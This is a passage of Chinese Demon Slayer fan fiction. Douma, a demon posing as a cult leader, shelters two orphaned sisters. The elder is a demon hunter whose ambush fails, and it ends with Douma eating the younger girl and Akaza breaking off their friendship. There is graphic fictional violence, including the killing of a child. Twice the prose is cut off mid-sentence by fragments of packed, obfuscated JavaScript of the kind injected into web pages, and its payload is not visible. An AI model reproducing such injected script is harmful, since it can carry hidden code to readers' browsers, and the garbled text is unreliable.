“这孩子,都来了这么久了,做事还是粗手粗脚的,这样可不行啊。”阿又对旁边的人抱怨道,“上回带她进城也是,没多久就找不着人了,我还以为被人贩子拐去吉原卖了,结果居然跑到浅草寺那边去了,害我整整找了一天!” “阿银这孩子力气大,能吃苦,就是脑袋不太灵光,你也别说她了,毕竟是教主大人带回来的孩子。”有人劝道。 “什么啊,要不是教主大人慈悲,我看这孩子在别处都找不到活干。” “阿银,女孩子这么粗心大意,以后当心嫁不出去!” “我看教主大人的那个朋友倒和她般配,那孩子长的眉清目秀,也挺结实,就是不知道为什么总是天黑才来。” “住口吧,教主大人的朋友也是你能议论的?” “嘘,山田先生来了…” 众人噤声,纷纷鞠躬行礼。 身着白衣的山田护教站在檐廊上冷眼看着他们: “阿银,教主大人要见你。” 侍从拉开了绘着莲花的纸门,已近黄昏,茶室里燃着伽罗香,细细的一线烟从银香炉中升起,在空气中散成淡淡的灰紫色烟雾。 见那少女进来,极乐教的教主大人脸上露出了和煦的笑意。 “小阿银,在这里住的还习惯吗?” “承蒙您关照,大家都对我很好。妹妹的眼睛也差不多痊愈了。真是不知道该怎么感谢您。” 阿银俯下身,以额头触碰手背,行了个大礼。 少女的身体青春洋溢,即使裹在和服里,也能看出腰部纤细紧实,双腿修长,只是皮肤微黑,像是经常在户外工作。 “不要这么客气嘛,帮助可怜的人一向是我作为神明之子的义务哦。” 肉质真不错啊。 童磨看着女孩,心想。 可惜不能吃。 “小阿银的老家是八户藩那边的?家里还有亲人在吗?” 阿银摇了摇头,“没有了,全家人都死了。” “在江户也没有可以投靠的人了?” “没有了。” “真可怜呀…”教主大人同情的感叹道,“你和妹妹想必吃了很多苦吧?” “托您的福,最近过得很好…” “我不是说最近哦。” 男人温柔的声音忽然出现在头顶,阿银却感到一阵突如其来的寒意,身体本能的缩了一下。 童磨弯下腰,轻轻拉起了她的手臂。 “阿银长得很结实呢,以前在家常常干活吗?诶呀,这手上的伤是怎么弄的呀?看起来好严重的样子…” 少女的右手手背到小臂横亘着一条蜈蚣似的伤疤,已经褪成了暗褐色。 “是在山里遇到狼受的伤…” “这样啊。”童磨轻声说。 “你哥哥也是被狼杀死的吗?” 阿银的目光闪烁了一下,再次低下了头。 “教主大人是怎么知道…” “是上次小阿幸说的哦,说我那位朋友长得有点像她哥哥,叫什么阿耀的。我想既然你们是姐妹,那孩子的哥哥应该也是你的哥哥吧?” “是,阿耀他…是我们的兄长,之前在工作的地方出了意外,过世了。” “从没听你说起过这些呢。”教主大人惊讶道,“信徒们都会把痛苦的经历告诉我,由我来指引大家从痛苦中解脱,阿银为什么不这么做呢?明明应该经历了很多痛苦的事吧。” 阿银低着头:“痛苦的事就算说出来…也不会变的不痛苦,只会给听的人带来困扰而已。” “原来如此,你是这么想的啊。” 童磨站起身,走到柜子旁拿了他的烟管,边笑道: “但我是不会觉得困扰的哦,倾听信徒们的祈祷是教主的义务。所以我更希望阿银能把自己的痛苦告诉我哦。” 他转头看向少女,眼神中带着深邃的意味。 “生命是很宝贵的东西,要好好珍惜才对。已经过去的事是无法挽回的,活着的人还是该多考虑下自己的未来,就算不为你自己考虑,也该为你妹妹着想。毕竟,你们没有其他亲人朋友可以投靠,也没地方可去了,对吧?” 名为阿银的少女沉默了片刻,说:“您说的对,我们…没地方可去了。” “这样的话,以后就留在这里如何?我身边正好缺个女侍,阿幸那孩子也很可爱,我喜欢哦。” 教主大人笑眯眯地说。 阿银的身体似乎僵硬了下,就再次伏下身去。 “小女…感激不尽。” “常言道,江户人不花隔夜钱,猗窝座阁下知道这是什么意思嘛?” 猗窝座看着他那位打扮过于花哨的同类。童磨装成人类出门时,还真把江户浪荡子的那股风流劲儿学的惟妙惟肖,腰带上挂着金丝镶嵌的印笼和海豹皮的烟草袋,手里握着扇子,连一口京都腔都不知道什么时候改成了江户官话,就是那头白橡色的长发和剔透多彩的眼睛,这鬼从来都懒得掩饰,一路上惹的好奇心强的町人男女纷纷驻足,不知道的还以为是吉原哪家的花魁出来游街了。 因为这家伙走在街上实在太显眼,猗窝座冥思苦想了半天,终于决定——找条船。 当然,钱是童磨出。 于是两只上弦鬼坐在一只木船上,船夫撑着船,沿着隅田川的河道一路晃晃悠悠的摇向两国桥。 少年模样的鬼忍不住哂道:“真有你的,刚来江户三个月,就把自己当江户人了?” 童磨斜倚在船边,手里端着杯酒,边闻味边笑嘻嘻的说:“因为我喜欢这里哦~不过阁下在江户这么多年,连净琉璃都没看过,您也不太像江户人嘛~” “那东西到底有什么可看的,不就是木偶戏吗?”猗窝座想起剧院那人挤人的场面,依然心有余悸,“我算明白了,你这人就爱凑热闹。” “成天待在山里,多没意思呀。咱们偶尔也出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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童磨,你…说的对。 也许遗忘了的,也该就此遗忘。 夏天过后是秋天,然后没多久,枫叶就落了。 猗窝座来寺院的次数从每月几次,变成了隔三两天就跑来一趟。来了也不闲着,一开始干的是劈柴挑水这种杂活,后来刚入冬时有次下雨,大殿的屋顶漏水,猗窝座皱了皱眉,趁着半夜没人,竟然徒手削了块木头就给补上了。 堂堂上弦之四蹲在房梁上拿了把榔头敲敲打打,童磨在底下看热闹,还不忘添油加醋: “诶呀呀,阁下以前是当过木匠嘛?这下好了,以后房子坏了都不用花钱请木匠啦~” 木榔头迎面飞来,童磨捂着脸应声而倒。 “说别人不劳而获,我看你这家伙才是不劳而获!”猗窝座坐在房梁上没好气的说,“一天到晚就你最闲,还能修这么大的寺院,肯定没少赚黑心钱!” “人家哪有赚黑心钱,都是认真工作攒下的家底。”童磨委屈的躺在地上不起来,“再说人家从小就是个聪明又善良的孩子,信徒们都愿意给我供奉,不收下的话多伤大家的感情呀~” “行了,你也别太懈怠了。听说鬼杀队又开始活动了,那位大人叫我去解决一下,过几天就出发…” “去哪里呀?人家也要一起去~”童磨一骨碌爬了起来,满脸洋溢着兴奋,“和猗窝座阁下一起工作最开心啦,阁下以后的任务都带上我好不好嘛?” “那位大人又没给你命令,你给我老实呆着!听说剩下的那个柱不太好对付,已经死了几个下弦。办完这事,我回来跟你们过年。” “什么叫‘你们’嘛,明明我才是猗窝座阁下的朋友。”童磨抱怨,“猗窝座阁下对小阿幸比对我要好多啦,还给那孩子做玩具,人家好伤心~” “你这人越来越不像话了,和小孩子计较这些,丢不丢脸?”猗窝座从房梁上跳了下来,拍了拍身上的木屑,“我会尽快赶回来的。” “那人家也要新年礼物~” “要什么礼物?你又吃不了年糕。” “什么都可以。”童磨一本正经的说,“就算四文钱的也没关系,人家不计较啦。” “你记性倒是真好,”猗窝座挠挠头,“给你带就是了。” 天明八年,新年的第一天。 教主大人白天接受了信徒们的初诣,晚上寺里的众人按京都的习惯聚在一起吃白味增杂煮和烤年糕,他便一个人回了后殿的居所,坐在檐廊下抽烟。 猗窝座阁下不在,果然…有点无聊。 御岳山里下了雪,月光下起伏的山峦都蒙上了一层银白,枫树的叶子落光了,光秃秃的枝干直刺向冬日的夜空。在盛夏时绿意盎然的庭院,此时也只剩下一片纯然的白色。 枯园垂雪。 童磨脑子里正出现这个词时,就听身后的回廊里传来猫一样细碎的脚步声。 “小阿幸~”他拖长了声音懒洋洋地说,“都跟你说过多少次了,这样是会被发现的哦~” “真是的,又被抓到了。教主大人好厉害啊…” 阿幸垂头丧气的走了过来。这孩子的眼睛完全恢复了正常,性子也活跃了不少,毕竟年纪小,不像其他信徒那样心存敬畏,总是叽叽喳喳的跟前跟后,童磨懒得管,也就放任自流了。 “你拿的是什么呀?给我看看?” 女孩红着脸跪坐下来,将怀抱的东西摊开在地上。 “诶呀,这个是…” “是腰带,我自己做的。”阿幸低着头,手指在地上画圈,“是自己织的棉布、自己缝的哦,黑色的给教主大人,蓝色的给哥哥。我过了新年就满十三岁了,以后、以后这些小事,教主大人都可以交给我做了…” 我从来不用这么丑的腰带。童磨想。 他眨了眨眼睛,说:“做的真好呀,小阿幸很能干哦,这是给我的礼物吗?” 女孩使劲点头:“虽然不值钱,但教主大人和哥哥救了我的命,我是不会忘的,此生一定会好好报答你们的救命之恩。” 童磨差点脱口而出“那就让我吃了你吧”,话到嘴边又咽了回去。 “我不需要小阿幸的报答哦,”他换上一如既往的温柔微笑,“身为神明之子,让信徒得到幸福是我活在世上的使命。” 阿幸的脸更红了,忙不迭的站了起来。 “我…我去厨房帮忙了,那个…那个腰带…” “亲手做的东西,还是自己亲手交给对方比较好吧。” “可,可是…”女孩揪着衣服的边角,结结巴巴的说不出话。 “算了算了,那位阁下回来的时候,我会帮你转交给他啦。” “谢谢教主大人!”女孩深深的鞠了一躬,转身跑远了,但跑到走廊尽头时,又回头笑着大声说: “阿幸最喜欢教主大人了!” 这小姑娘的脑子还真是不灵光啊… 童磨吐了个烟圈,百无聊赖的想。 他的目光落在身旁那条黑色的腰带上,顺手拿了起来。 棉布的质感相当柔软,缝制的针脚细密而整齐,可以看出是用了心做的。 算了算了,猗窝座阁下说的对,不能跟小孩子计较,就勉为其难的收下吧。 话说猗窝座阁下什么时候回来呢? 身后再次传来细碎的脚步声,童磨叼着烟嘴,笑嘻嘻的回过头: “小阿幸,我就说嘛,自己做的东西还是…” 迎接他的是突如其来的猛烈杀气,寒光闪现处,有什么冰冷的东西狠狠捅进了上弦鬼的颈侧。 “大家!就是现在!” 他听到阿银的声音厉声吼道。 凌厉至极的刀光向鬼的所在之处斩落下去。 115. 番外篇·天明之时(完) 鬼杀队来的人不多,是一支六人组成的小队,但可能意识到这位新任上弦之六的棘手,他们派出了仅剩的一名柱,剩下几人看上去也是猎鬼的老手,配合很是默契。 来的风柱是位高大的男子,使的也不是常见的日轮刀,而是由多片刀叶组成的、像是轮子般的异形武器,此人招式相当灵活,力气又大的出奇,转眼就是几十次暴风骤雨般的斩击。 童磨并不太擅长近身战斗,对方似乎也看出了这一点,就死咬住他不放。上弦之六靠着鬼的速度和强大的再生能力硬扛过了第一波攻击,终于以一连串凌厉的血鬼术逼退了对手,带着断裂的半个肩膀,轻飘飘的落在了大殿的屋顶上。 “好险好险!真是想不到啊,你们鬼杀队连过年都不休息的嘛?” 白橡发色的上弦鬼依旧笑的无忧无虑,随手将涂了紫藤花毒的匕首从脖子上拔了出来,虽然一侧身体的再生速度变慢了,也不妨碍他用一贯的轻快语气戏弄对手。 “小阿银这毒用的不错哦,不过对付上弦的话,要加大量才能起到作用,只是在刀子上抹点的程度可不行呀~” “脑袋掉了都闭不上嘴”——有次猗窝座开玩笑时如此评价他。当时童磨一本正经的反驳他:“猗窝座阁下,这是人家的优点哦,我要是哪天不当这个教主了,没准会去江户城里当个狂言师呐~” “你这家伙,居然还有这种心思?”猗窝座笑道,“我还以为你离了你的教就活不了呢。” “怎么会呢,人家可是个多才多艺的人。阁下呢?除了武道,就没想过干点别的嘛?” “…没想过。” “我看二条町的夜市上卖烤豆腐和丸子的工作不错,很适合阁下您~” 猗窝座照他脸上就是一拳:“我看你才该去夜市给人算卦呢!” 这下可麻烦啦。 童磨看着被刚刚的打斗破坏的一塌糊涂的庭院和檐廊,心想。 猗窝座阁下回来又要修房子了,大概会气的破口大骂吧。 他的目光转向那手握日轮刀的少女,轻轻一笑。 “真可惜呀,小阿银。我明明说过吧,生命是很宝贵的,要好好珍惜才对,就算不为你自己考虑,也该为你妹妹考虑。看来你怎么也听不进我的劝告呢~” “你这种恶鬼的话,我才不会听!”阿银握着刀,双眼通红,声音微微发抖:“为了这一天我等了整整两年,今夜一定会砍下你的头,替被你杀害的人讨还公道!” “诶?真是个没良心的孩子。”童磨惊讶道,“就算知道你是猎鬼人,人家也一直都没打算杀你哦,还帮你妹妹治好了眼睛,你就是这么报答救命恩人的?” “啊,我明白啦!”他恍然道,“你那位死了的兄长也是猎鬼人吧,叫什么阿耀的…但我好像没有印象哦?那个刀锷是他的吧?上面的花纹是什么来着…” “住口!你这肮脏东西不配提到他的名字!风之呼吸·陆之型·黑风烟岚!” 风柱率先发起了又一轮攻击。其余几名队员也呈扇形从各个角度朝上弦鬼合围过来。 随着人类的怒吼声,日轮刀的剑气炸开在暗夜里,形成了一座寒光四射的刀剑之笼,然而上弦之六突然爆发出惊人的速度,几乎是一瞬间,他手中的金扇就挥出两道干脆利落的斩击,将一名剑士劈成两截,借机突出了重重包围。 下一刻,夹杂着无数细小冰晶的冻云就笼罩了这支猎鬼人小队,童磨嬉笑的声音从冰雾中传来。 “猗窝座阁下还没回来,人家果然不甘心就这么死掉呢,还是多陪你们玩一会吧。血鬼术·结晶之御子。” 三只御子的出现让形势瞬间逆转。紧接着,呼啸的冰风夹着飞花碎玉般华美而可怖的莲华之刃,在平地上掀起了一场暴风雪。 见状那名风柱立刻用高速的挥刀破开冻雾,边喊道: “大家散开!不要接触到那冰…” 已经太迟了,大雾弥漫中,回应他的是此起彼伏的凄厉惨叫。 “你们这些猎鬼人实在是有点儿笨啊…” 童磨的身影伴着风雪出现,他脚下踩着一朵巨大的冰莲,虹彩的眼睛里映满雪光。 “既然已经知道了我这里的位置,你们为什么不白天来呢?如果是白天的话,我可能就只有乖乖认输的份儿哦~” 阿银咳了两声,胸口剧烈的起伏着。 “白天寺院里都是信徒,我们…不想伤及无辜!” “这样吗?真是太感人了…”童磨流下了两行眼泪,“小阿银果然在我这里是幸福的吧?我看你和大家相处的很不错哦?” 他歪歪头,露出一个天真的笑:“但你们现在做的事,同样会伤及无辜哦。” 果然,不远处传来人类散乱的脚步声和说话声。 “教主大人!出什么事了?!” “你们…你们是什么人?!” “都别过来!”阿银厉声喊道,“危…” “险”字还没出口,童磨就从她身边擦肩而过,金光闪耀处血花四溅,少女握刀的右臂被齐根斩断。 “这么容易分心,你真的是剑士吗?” 童磨已经落在了她身后不远处,莲华金扇上滴下粘稠的血,在雪地上积了一小摊殷红。 他有点困惑的用扇子支着下巴,作思考状:“小阿银如此努力的想要杀我,到底是为什么呐?已经在这里生活了这么久,你这孩子还是无法理解我的善行,难道是我哪里没有解释清楚嘛?” “滚到地狱去解释吧!” 风柱的刀光应声而至,童磨却没有躲闪,只是从容的展开了手中的扇子。 一对从冰莲中生长出的少女偶人迎面挡住了风柱的日轮刀,口中喷吐出寒冷至极的白色冻雾,风柱本能的收刀回撤,却见那白发的恶鬼眯起眼睛,上扬的嘴角露出了尖牙。 他轻柔的说: “血鬼术·玄冬冰柱。” 三只处于不同位置的御子同时发动了血鬼术,锋锐无比的冰凌封死了猎鬼人的一切退路,那名风柱躲闪不及,被冰凌贯穿了胸腹部,鲜血和内脏一起迸溅出来,余下的两人更是直接被钉死在地上。 “混账东西…” 男人拼尽最后一口气朝那面带微笑的上弦鬼扑了上去,却因为失血过多而一击未中,摔倒在雪地上。 “混账…”他喃喃着,“一定要…杀了你…为大家…报仇…” 寒月当空,照亮了白雪皑皑的森林。满目泼洒的鲜红如同那位大人的血,岩浆般的暴虐,却炽热,仿佛某种令人上瘾的剧毒,沿着四肢百骸肆意燃烧。 童磨望着地上尚在血泊中抽搐的人体,想起了许多年以前的那一天,也是差不多的场面。 血流成河,父亲的肠子掉落一地,母亲嘴里淌着浓黑的毒血,朝他伸出了手。 ——神子…指引我…到极乐净土去… 直至死去,她也从未给过他一个名字。 “啊,啊啊…杀人啦!” 尖叫声将他拉回了现实,冰莲上的神之子漠然的回头看了眼落荒而逃的几个信徒,难得的吐出一句抱怨: “吵死了…” 他随意挥了下扇子,几片冰刃飞射而出,奔逃中的人没来得及再发出一声,就齐刷刷的倒了下去。 然而在那些东倒西歪的人影后,他看到了阿幸。 女孩站在那里,愣愣的睁大了眼睛,手里举着猗窝座送她的纸蝴蝶。 她像是完全不明白发生了什么事一样,直到目光落在了一片狼籍的院子里。 “姐姐!!” 女孩大叫一声,跳下檐廊,朝阿银跑去。 阿银倒在地上,因为吸入了大量冰晶而不停咳血,已经爬不起来。阿幸扑到她身上,惊慌失措的叫起来: “姐姐!你怎么啦!教主大人,请救救姐姐,救救姐姐呀!” 她抬头看向她信赖的神明,却看到神明站在那里,一动不动的注视着她们。 神明脸上失去了往日的温和微笑,一片空白,什么表情也没有。 阿银含着眼泪,用仅剩的一只手狠狠抓住妹妹的衣服。 “别求他!那是鬼,那是害死阿耀、害死大家的鬼啊!他和那个猗窝座都是鬼!他们都是鬼啊!” 女孩呆住,随即捂住耳朵拼命摇头。 “骗人…我不信,我不信!教主大人不是鬼,是教主大人帮我治好了眼睛!哥哥也不是…那么温柔的哥哥,背着我走到江户的哥哥,才不是鬼呢!我不信!” 一记耳光落在她脸上。 阿银不知哪来的力气支撑起身体,喘着粗气瞪着她,厉声道: “笨蛋!你什么时候见他们白天出来过?!那个猗窝座哪次不是天黑了才来?!他们都是上弦鬼,才擅长伪装成人类!阿耀和大家都是被他们杀了的!他们是吃人的恶鬼啊!” 说完这些话,少女就像用尽了力气般瘫倒在地。 阿幸跪在地上,伸手去擦她嘴角的血,边擦边哭了起来:“不要死掉啊…求你了,不要丢下阿幸…先是妈妈…爸爸…然后是阿耀哥哥…现在姐姐也要死了…我怎么办啊…” “姐姐…好后悔啊…” 阿银喃喃道。 “好后悔带你出来…害你受了这么多苦…好后悔让你看到这些…对不起啊…阿幸…姐姐好后悔…” 阿幸扑到她身上嚎啕大哭起来。 “对不起!对不起!都是我拖累了姐姐!我们去找大夫,一定…一定可以救你…” 阿银抚摸着她的头发,声音也哽咽起来。 “阿幸真是个好孩子啊…所以姐姐…无论如何…都不能把你…交给恶鬼…” 她手中寒光一闪,将不知从哪摸到的半截断刃,送进了妹妹的胸膛。 女孩甚至连声音都没发出一声,就软绵绵的倒在了她怀里。 “真可怜啊…” 童磨走到阿银身边,低下头面无表情的看着她。 “只为了这种愚蠢的理由,就自作主张的杀死妹妹,没想到小阿银是这么坏心眼的女孩子,我是不会送你去极乐的哦。” 阿银低声笑了起来,血不断从她的喉咙里涌出,让她的声音变得嘶哑。 “教主大人不也一样…擅自决定…他人的生死…” 她喘了口气,断断续续的说道: “阿耀是…我的未婚夫…我们从小…就订了亲…可家里太穷了…他就来了江户…说是找到一份…能挣很多钱的工作…” “村子里…没有粮食…我就带着阿幸…来投奔他…结果刚刚见了一面…他就去出任务…死在了京都…” “回来的‘隐’说…是白色头发的鬼…杀了所有剑士…” “本来想…成为柱…替他报仇…但我实在…没有天赋…所以…也只能这样…” “只是…想不明白…既然已经知道…我是猎鬼人…你为什么…不杀了我…” “因为我是个善良的人,看不得好朋友伤心嘛。”童磨一副理所当然的样子,“我是真的打算把你们养到寿终正寝的哦,原本还想着过完新年就让山田他们教小阿幸认字,以后帮我送个信什么的。不过这下都被你这坏孩子搞砸啦。” 阿银的脸上终于浮现了茫然的神色。 “世上…怎么会有你这样的鬼…?像神明一样救人…像鬼一样杀人…” “错了哦。” 童磨一本正经的纠正她: “这世上既没有神明,也没有佛祖,否则人类就不会活的如此痛苦,你们也不会挨饿啦。” “是啊…没有神明…”阿银的声音微弱下去,“但你们…这些恶鬼…也不配…拥有羁绊……” 说完这句话,她就彻底没了气息。 “诶呀呀,真是个奇怪的孩子啊。不过终于结束啦。连新年都在工作,人家可真是太努力了,那位大人要是知道的话,该怎么奖励我呐~” 上弦鬼伸了个懒腰,刚打算走开,就听见阿幸发出了一声微弱的呻吟。 童磨愣了愣,“诶?竟然还活着吗?” 他俯下身把女孩抱在怀里,惋惜的摇了摇头: “你姐姐下手真狠呀,把你的肺都扎穿了,你要死了哦,小阿幸。” 阿幸睁大眼睛看着他。 “我…不是故意…要骗教主大人…和哥哥的…” 她小声说。 “姐姐不让我…告诉你们…鬼杀队的事…说那样的话…你们就…不会理我了…” “可我…喜欢教主大人…也喜欢…哥哥…” “啊,原来如此,你愿意说实话真是太好了。” 童磨眨了眨眼,轻柔的说道。 “既然这样,那就告诉小阿幸一个秘密吧,猗窝座阁下他也喜欢你哦,我猜大概是你让他想起了作为人类时的亲人吧,好像也是个女孩子来着,不过很可怜哦,他的亲人全都被人害死啦。” “…是这样啊…”阿幸努力的攥紧了手里的纸蝴蝶,“要是知道…我骗了他的话…哥哥他一定…会伤心吧?” “我想也是哦。”童磨为难的说,“怎么办才好呢?” “那就不要…告诉哥哥…好不好…” 阿幸祈求道: “请教主大人…替我和姐姐…保密…可以吗?” “阿幸…不想…让哥哥伤心难过…教主大人…能帮我实现…这个愿望吗?” 神明之子良久的注视着女孩,用那双剔透璀璨、不似人类也不似鬼物的眼睛。 末了,他笑了。 “我喜欢这个愿望哦,那么这次就满足小阿幸吧,毕竟让信徒得到幸福是我作为教主的义务嘛。你真是个善良的孩子,完全有资格去极乐世界哦。” “真的吗…教主大人?”女孩喃喃道,“真的有…极乐世界吗?” 童磨微笑着握住了她的手,像对待他的每一位虔诚的信徒那样。 “是真的哦,我是神明之子,神明之子是从来不骗人的。极乐世界是存在的,那里非常、非常的幸福哦。” 阿幸脸上绽放了一个苍白的笑容,缓缓闭上了双眼。 “那真是…太好了…” 猗窝座一直相信,不管人还是鬼,对那些足以改变自己命运的坏事,多少都有点预感。 即使作为人类的记忆早已消失,他也依然记得那种感觉,胃部疯狂痉挛,全身上下起了一层鸡皮疙瘩。 上弦之四已经有很多年不曾有过这种感觉了,这让他极为不适,好像自己回到了某天,那一天之后,他成了现在的自己,一无所有的、只为成为强者而活的自己。 每次他觉得自己已经足够强大,再也不会遭遇这种时刻的时候,这战栗的感觉都在提醒他,在某种巨大而不可见的东西面前,他,依然只是个渺小而无助的人。 目睹童磨坐在一片血泊里啃食着阿幸的尸体时,猗窝座手里拎着的东西掉了一地。 有年糕,有棉线,有布偶娃娃,还有一小盆夕颜花。 年糕、棉线和娃娃都是给那姐妹俩买的,他出门前,阿幸说她的织布机上没有蓝色的线了,很不好意思的问他能不能去江户时帮忙买点。他答应了下来,路过小摊时,又看见了这个用碎布缝的娃娃,他想着女孩子肯定喜欢这东西,虽然不值什么钱。 夕颜花是给童磨的,寒冬时节能有这花简直是奇迹,听卖花的贩子说是特别培育出的品种,能在冬天开花,很是难得,所以要价三十文。猗窝座咬牙狠心的买了,心想那鬼总嫌他买的东西便宜,这次叫他没话说。 极乐寺的庭院在夏季时花木茂盛,莲花盛放,实在是不缺这点颜色,但寒冬时山里万物凋零,大雪覆盖了一切生机,他总觉得童磨那家伙一个人孤零零的呆在这种地方有点凄凉。 但他第一次发现自己想多了,童磨手里捧着女孩的半截胳膊,正吃的欢,嘴边和身上鲜血淋漓,状如地狱血池里爬出来的恶鬼。 他差点忘了,童磨本来也是鬼。 装的再像人类,也无法改变他们是鬼这个事实。 见他回来,上弦之六甚至没起身,而是欢快的举起手中的残肢,朝他晃了晃。 “猗窝座阁下回来了呀~” 见他没反应,童磨不慌不忙的把嘴里的肉咽了下去,笑的无比坦然。 “一起吃吗?这孩子的肉质很不错哦~” “你在…干什么?” 猗窝座听见自己说。 “诶?看就知道了嘛,我在进食呀~”白橡发色的鬼一脸天真无辜,“来了几个猎鬼人,人家打完架有点饿了,毕竟今天可是新年嘛…诶,对了对了,这孩子有礼物让我交给阁下哦。” 猗窝座顺着他的目光看去,檐廊下放着条叠的整整齐齐的蓝色和服腰带。 童磨无比感动的说:“给我也做了一条呢,小阿幸真是个温柔懂事的好孩子呀,所以我特意选了今天送她去极乐,能和我一起得到永生,她很开心哦~” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一定治好你,救你,保护你。 一定治好你,救你,保护你。 一定…一定… “骗子…” 猗窝座一拳接一拳的砸下去,鲜血四溅,然而上弦鬼的再生能力让童磨在他的攻击下依然说个没完。 “猗窝座阁下…您听说过古时候那些进山修行的僧人的故事吗?他们住在山洞里,几个月,甚至几年都不出来。” 童磨用他血肉模糊的嘴巴说道,语气异常平静。 “据说在黑暗中修行到某个时候,他们就会看见神佛现出大光明相,整个山洞会被佛光照的亮如白昼。” “但那种东西,只是幻觉罢了。” 上弦之六如同叹息般轻声说。 “所有的一切,都只是一场幻觉啊…” 猗窝座停下了拳头,眼神空洞的注视着童磨。 对方的样子看起来有点凄惨,虽然脸已经恢复了原状,但上半身几乎被他生生打烂,黑红的血和洁白的雪混在一起,分也分不开,恰如神明之子永远洗刷不掉的罪孽。 “好痛啊…阁下要杀了我吗?因为我打碎了您那愚蠢到可怜的幻觉?” 上弦之六毫无廉耻的笑着说。 “不对,您应该感谢我,因为我替您斩断了您的风筝线,从今往后,阁下都不会再为此感到痛苦了。” …我当作了幻觉的,其实是你啊。 我为什么会相信黑暗中能存在灯火? 我为什么会相信鬼的世界里能存在光明? 那些无聊的安慰,无聊的感动,称为“友情”的无聊的东西,我…到底为什么会相信? 猗窝座沉默的站了起来,后退了几步,然后转身走入月光下的松林,童磨的血从他手上滴落,从他身上滴落,在雪地上画出一条指向远方的线。 他再也没有回头。 天明八年,上弦之六因为对鬼杀队的剿灭之功而被鬼王给予了赐血权,并允许他向任何位阶高于他的上弦月发起换位血战。然而在江户一战成名后,童磨就又变回了那副不思进取的懒散样子,整日忙于传教大业。而江户附近无处可去的“浮浪者”听说世上有一位神子能指引人前往极乐净土,竟蜂拥而至,万世极乐教的信徒人数一度达到四五百人之多。 后来还是鬼王严厉斥责了其过分张扬的举动,勒令童磨把信徒人数控制在两百五十人以内。 两年后的深冬,吉原。 童磨漫步在游廓边缘的一条巷子里,这片地方多住的是些上不得台面的私娼,但其中不乏年轻貌美者,他今天的猎物就是其中之一。 吉原的三四千游女中,九成是这样的可怜人,这辈子都和花魁的风光无缘,只能在一身债务和梅毒中了此残生,而一百个这样的女人,身价加起来也抵不过一个花魁。 没人在意她们的死活,来到这里的任何恩客,都能像对待牲畜般蹂躏她们。 而花魁又如何呢?京极屋那位明艳动人的朝云太夫已成昨日黄花,皆因背后捧她的田沼大人被另一派宗亲搞垮,以涉嫌鸩杀十代将军为由被迫辞官,其长子也遭到暗杀,在天明八年时身败名裂而死。 始于权欲,终于虚无,到头来万事皆空。 路边茶屋的二楼却依然有婉转娇媚的嗓音,在三味线的弹奏中唱着那首太夫唱过的小曲: 梦里恋情知多少 梦里情伤有几分 不过是一时欢愉 终究躲不过逝去 或恋或命皆泡沫 湮没于流转岁月 雪渐渐下的大了起来,已是深夜,路边的店铺和茶屋早早关门闭户,没人注意到踏雪而行的鬼。 而一片白色的街边,有什么东西在蠕动。 童磨闻见了熟悉的血腥味,鬼的敏锐视觉让他远远就看清那是一名肮脏到像是从烂泥里爬出来、枯瘦如饿鬼的少年,怀抱着一团焦炭似的东西,倒在路边。 少年浑身是血,背上裂开一道被刀砍过的巨大伤口,怀里那人形的焦炭,只剩一丝微弱的气息。 然而即使如此,少年依然用尽全力的抱着那焦炭,嘴里低声念着什么。 “诶呀呀,这是怎么啦,好可怜呀~” 童磨悠哉悠哉地走了过去,听见那少年奄奄一息的说: “把我妹妹…变回原样…” “不然…无论是神…还是佛…我都统统…杀给你看…” 上弦之六凝视着他们,露出了一个微笑。 “那个女孩子很快就要死了。”他轻柔的说。 “而我刚好是个善良的人,所以绝不会见死不救~” “就把血分给你们好了,只要被那位大人选中,你们就能变成鬼。” “生命这东西可是很宝贵的,必须好好珍惜才行~” 少年不知道那是什么神奇的东西。 只是几滴而已,就能在体内搅起暴烈的疼痛,全身上下的骨骼都像碎了一样。 他紧咬着牙关,扛过了那撕心裂肺的剧痛。 他从小就经常挨打,被打到骨折乃至昏迷都是常事,疼痛对他来说司空见惯,况且那疼痛比起他眼前的奇迹,根本算不得什么。 他看到已经不成人形的妹妹,像一只破茧的蝶,重新长出了白皙娇嫩的肌肤,小脸也恢复了往日惊人的美貌。 仿佛神明显灵,他生命中唯一的光,真的回来了。 “哥哥…?” 少年背上的白发女孩,发出了轻轻的呓语。 “那是…花吗?” 少年茫然的目光投向这座陌生寺院的檐廊下,在那里,在天明之前的黑暗中,盛开着一丛洁白的夕颜花。 【尾声】 十二鬼月分为上弦和下弦,即便在鬼之一族的传闻中,上弦之贰也是一只极为残暴的鬼。这位以强悍的冰系血鬼术在短短几十年内就跃居黑死牟之下的上弦以嗜好年轻女子的血肉而恶名昭彰,连鬼王都不愿跟他多说一句话,其他的鬼也都对他敬而远之,概因这位上弦虽然看似和蔼可亲,实则天生无心无情,行事又如孩童般乖张,只要不幸遇上,不论人鬼,十之八九会被他玩死,从这点来看,鬼王赐予他的名字“童磨”着实贴切。 但不知为何,他唯独喜欢缠着上弦之三,虽然众鬼都知道这两位上弦是一对冤家,上弦之三每次遇到他,都不顾其上级的身份非打即骂,那上弦之贰不但不生气,还厚着脸皮逢人便说对方是其挚友,只因晋升没他快才心怀不满。不仅如此,还常借位阶高于对方的优势以脑内通讯不断骚扰之,搞得上弦之三不胜其烦。 然而,直到大正年间,这两位上弦相继战死于无限城,终其数百年的生命,他们都从未向对方发起过换位血战。 116. 【欧洲番外一】夜莺、血月与十字架 如果看不到身旁的美,我们的永生便没有意义。 ——《夜访吸血鬼》 凯瑟琳·南丁格尔小姐的出现毫无预兆。 那是1925年冬天,我和童磨搬到爱丁堡的第二年。 我们在王子街附近买了一栋三层的房子,房子的年龄比我俩都大,门柱上的石头雕花异常精美,据说曾属于某位勋爵,价格还不贵。不贵的原因很简单,房子对面的玛丽金小巷在黑死病时期死过很多人,所以当地都传言这片地方闹鬼,经常有人说看到厨房里的刀叉四处乱飞,或者有抱着破布娃娃的小女孩冷不丁出现在你身后,在耳边吹气之类的。上一位搬进来的住客住了不到一个月,在某天半夜连裤子都没穿就吓得嗷嗷大叫着逃走了。 这件事是我搬进这房子一个月以后,上门来修水管的大叔告诉我的。 “夫人,你们被人骗了。”那大叔遗憾的咂嘴,“这屋子闹鬼闹的很凶,住进来会生病的。” 